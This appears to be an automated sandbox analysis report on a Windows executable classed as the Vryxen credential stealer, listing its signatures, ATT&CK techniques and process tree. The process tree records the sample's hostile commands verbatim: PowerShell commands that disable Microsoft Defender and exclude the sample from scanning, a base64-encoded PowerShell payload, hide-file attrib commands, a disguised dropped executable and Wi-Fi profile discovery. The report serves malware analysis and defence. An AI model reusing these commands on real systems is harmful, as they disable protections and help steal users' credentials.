Overview

overview

10

Static

static

10

813ae10870...ae.exe

windows10-2004-x64

10

813ae10870...ae.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/08/2026, 15:31

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
  • Size 10.5MB
  • Sample260809-sycdnatvbv
  • SHA256 813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
credential_accessdefense_evasiondiscoveryexecutionvryxenpersistenceprivilege_escalationspywarestealertrojan

Malware Config

Signatures

  • Family: Vryxen

    Vryxen is an open-source stealer written in Golang.

    stealervryxen
  • Detects Vryxen stealer 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Drops file in Drivers directory 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Detect suspicious telegram bot 1 IoCs

    Detect suspicious telegram bot.

  • Discovers running processes 1 TTPs 36 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 34 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

    defense_evasion
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies system certificate store 2 TTPs 6 IoCs
    defense_evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
    "C:\Users\Admin\AppData\Local\Temp\813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies trusted root certificate store through registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4116
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq 360chrome.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:732
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq 360chrome.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4924
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq 360se.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2288
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq 360se.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4444
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq avant.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2588
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq avant.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4544
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq brave.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:608
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq brave.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4516
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq chrome.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4504
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq chrome.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:644
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq chromium.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2544
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq chromium.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2392
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq citrio.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2788
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq citrio.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4172
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq comodo_dragon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2028
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq comodo_dragon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3188
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq coolnovo.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1888
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq coolnovo.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2484
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq coowon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4592
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq coowon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5068
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq cyberfox.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3344
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq cyberfox.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2384
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq deepnet.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4644
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq deepnet.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:892
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq dooble.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:456
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq dooble.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4816
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq epic.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1964
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq epic.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4696
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq firefox.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:464
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq firefox.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3956
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq iceweasel.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4956
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq iceweasel.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4364
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq iridium.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3116
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq iridium.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:1396
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq k-meleon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:208
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq k-meleon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3016
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq maxthon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3864
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq maxthon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4792
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq msedge.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1680
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq msedge.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4688
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq netscape.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:380
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq netscape.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4388
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq opera.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1348
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq opera.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4628
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq palemoon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2912
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq palemoon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:900
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq safari.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2088
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq safari.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4824
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq seamonkey.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:468
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq seamonkey.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2296
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq sleipnir.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2984
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq sleipnir.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4908
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq sputnik.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4248
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq sputnik.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5052
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq torch.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2328
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq torch.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2604
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq ucbrowser.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1748
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq ucbrowser.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:824
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq vivaldi.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3264
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq vivaldi.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3244
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq waterfox.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4800
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq waterfox.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4772
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq yandex.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4432
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq yandex.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4588
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq yandexbrowser.exe"
      2⤵
      • Executes a command shell one-liner
      PID:3252
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq yandexbrowser.exe"
        3⤵
        • Discovers running processes
        PID:3516
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq operagx.exe"
      2⤵
      • Executes a command shell one-liner
      PID:3988
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq operagx.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2636
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
      2⤵
      • Views/modifies file attributes
      PID:1712
    • C:\Windows\system32\reagentc.exe
      reagentc.exe /disable
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      PID:4176
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:3824
    • C:\Windows\system32\tasklist.exe
      tasklist
      2⤵
      • Discovers running processes
      • Suspicious use of AdjustPrivilegeToken
      PID:1104
    • C:\Windows\system32\tasklist.exe
      tasklist
      2⤵
      • Discovers running processes
      • Suspicious use of AdjustPrivilegeToken
      PID:2492
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5024
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2936
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
        PID:1728
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Disables one or more Microsoft Defender components
        • Suspicious behavior: EnumeratesProcesses
        PID:3732
      • C:\Windows\System32\Wbem\wmic.exe
        wmic path win32_VideoController get name
        2⤵
        • Detects videocard installed
        PID:4200
      • C:\Windows\System32\Wbem\wmic.exe
        wmic csproduct get UUID
        2⤵
          PID:628
        • C:\Windows\system32\attrib.exe
          attrib -r C:\Windows\System32\drivers\etc\hosts
          2⤵
          • Drops file in Drivers directory
          • Views/modifies file attributes
          PID:2224
        • C:\Windows\system32\attrib.exe
          attrib +r C:\Windows\System32\drivers\etc\hosts
          2⤵
          • Drops file in Drivers directory
          • Views/modifies file attributes
          PID:3384
        • C:\Windows\system32\netsh.exe
          netsh wlan show profiles
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Network Configuration Discovery: Wi-Fi Discovery
          PID:1152
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
          2⤵
            PID:2552
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\f3zgnxjb\f3zgnxjb.cmdline"
              3⤵
                PID:3820
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7F1E.tmp" "c:\Users\Admin\AppData\Local\Temp\f3zgnxjb\CSC39A33BB12E546B2B41D2C1A5C59D885.TMP"
                  4⤵
                    PID:2924
            • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
              C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
              1⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1176

            Network

                  MITRE ATT&CK Enterprise v16

                  Reconnaissance

                  Resource Development

                  Initial Access

                  Execution

                  Command and Scripting Interpreter

                  2
                  T1059

                  PowerShell

                  1
                  T1059.001

                  Windows Command Shell

                  1
                  T1059.003

                  Persistence

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  Registry Run Keys / Startup Folder

                  1
                  T1547.001

                  Event Triggered Execution

                  1
                  T1546

                  Netsh Helper DLL

                  1
                  T1546.007

                  Privilege Escalation

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  Registry Run Keys / Startup Folder

                  1
                  T1547.001

                  Event Triggered Execution

                  1
                  T1546

                  Netsh Helper DLL

                  1
                  T1546.007

                  Defense Evasion

                  Hide Artifacts

                  1
                  T1564

                  Hidden Files and Directories

                  1
                  T1564.001

                  Impair Defenses

                  1
                  T1562

                  Disable or Modify Tools

                  1
                  T1562.001

                  Modify Registry

                  2
                  T1112

                  Obfuscated Files or Information

                  1
                  T1027

                  Command Obfuscation

                  1
                  T1027.010

                  Subvert Trust Controls

                  2
                  T1553

                  Install Root Certificate

                  2
                  T1553.004

                  Credential Access

                  Credentials from Password Stores

                  1
                  T1555

                  Credentials from Web Browsers

                  1
                  T1555.003

                  Unsecured Credentials

                  4
                  T1552

                  Credentials In Files

                  3
                  T1552.001

                  Credentials in Registry

                  1
                  T1552.002

                  Discovery

                  Browser Information Discovery

                  1
                  T1217

                  Process Discovery

                  1
                  T1057

                  System Information Discovery

                  1
                  T1082

                  System Network Configuration Discovery

                  2
                  T1016

                  Internet Connection Discovery

                  1
                  T1016.001

                  Wi-Fi Discovery

                  1
                  T1016.002

                  Lateral Movement

                  Collection

                  Data from Local System

                  3
                  T1005

                  Command and Control

                  Web Service

                  1
                  T1102

                  Exfiltration

                  Impact

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  powershell.exe.log
                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                  • Size 2KB
                  • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 944B
                  • SHA256 e1e65d1697b9ac59805f677cbc8eec623a899b75b1389354f0948ad3c1513772
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
